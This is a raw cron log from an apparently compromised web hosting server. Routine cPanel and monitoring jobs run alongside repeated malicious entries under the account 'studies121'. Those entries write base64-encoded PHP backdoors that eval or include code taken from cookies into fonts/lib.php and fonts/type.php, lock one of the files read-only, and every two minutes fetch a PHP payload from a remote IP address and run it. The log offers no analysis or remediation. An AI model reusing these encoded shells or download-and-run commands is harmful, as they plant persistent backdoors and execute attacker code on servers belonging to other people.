Sep  4 07:44:01 ip-184-168-122-23 CROND[16832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:44:01 ip-184-168-122-23 CROND[16831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:44:01 ip-184-168-122-23 CROND[16833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:44:01 ip-184-168-122-23 CROND[16835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:45:02 ip-184-168-122-23 CROND[16940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:45:02 ip-184-168-122-23 CROND[16941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:45:02 ip-184-168-122-23 CROND[16944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:45:02 ip-184-168-122-23 CROND[16945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:45:02 ip-184-168-122-23 CROND[16946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:45:02 ip-184-168-122-23 CROND[16947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:46:01 ip-184-168-122-23 CROND[17040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:46:01 ip-184-168-122-23 CROND[17046]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:46:01 ip-184-168-122-23 CROND[17042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:46:01 ip-184-168-122-23 CROND[17043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:46:01 ip-184-168-122-23 CROND[17044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:46:01 ip-184-168-122-23 CROND[17045]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 07:46:01 ip-184-168-122-23 CROND[17041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:47:01 ip-184-168-122-23 CROND[17151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:47:01 ip-184-168-122-23 CROND[17153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:47:01 ip-184-168-122-23 CROND[17156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:47:01 ip-184-168-122-23 CROND[17155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:48:01 ip-184-168-122-23 CROND[17229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:48:01 ip-184-168-122-23 CROND[17231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:48:01 ip-184-168-122-23 CROND[17233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:48:01 ip-184-168-122-23 CROND[17234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:48:01 ip-184-168-122-23 CROND[17232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:49:01 ip-184-168-122-23 CROND[17409]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 07:49:01 ip-184-168-122-23 CROND[17413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:49:01 ip-184-168-122-23 CROND[17410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:49:01 ip-184-168-122-23 CROND[17411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:49:01 ip-184-168-122-23 CROND[17412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:50:01 ip-184-168-122-23 CROND[17525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17530]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:50:01 ip-184-168-122-23 CROND[17534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:50:01 ip-184-168-122-23 CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:51:01 ip-184-168-122-23 CROND[17640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:51:01 ip-184-168-122-23 CROND[17641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:51:01 ip-184-168-122-23 CROND[17642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:51:01 ip-184-168-122-23 CROND[17643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:52:01 ip-184-168-122-23 CROND[17764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:52:01 ip-184-168-122-23 CROND[17765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:52:01 ip-184-168-122-23 CROND[17767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:52:01 ip-184-168-122-23 CROND[17768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:52:01 ip-184-168-122-23 CROND[17766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:53:01 ip-184-168-122-23 CROND[17893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:53:01 ip-184-168-122-23 CROND[17896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:53:01 ip-184-168-122-23 CROND[17895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:53:01 ip-184-168-122-23 CROND[17894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:54:01 ip-184-168-122-23 CROND[17969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:54:01 ip-184-168-122-23 CROND[17970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:54:01 ip-184-168-122-23 CROND[17972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:54:01 ip-184-168-122-23 CROND[17973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:54:01 ip-184-168-122-23 CROND[17975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:55:01 ip-184-168-122-23 CROND[18140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:55:01 ip-184-168-122-23 CROND[18142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:55:01 ip-184-168-122-23 CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:55:01 ip-184-168-122-23 CROND[18147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:55:01 ip-184-168-122-23 CROND[18144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:55:01 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:56:01 ip-184-168-122-23 CROND[18264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:56:01 ip-184-168-122-23 CROND[18266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:56:01 ip-184-168-122-23 CROND[18263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
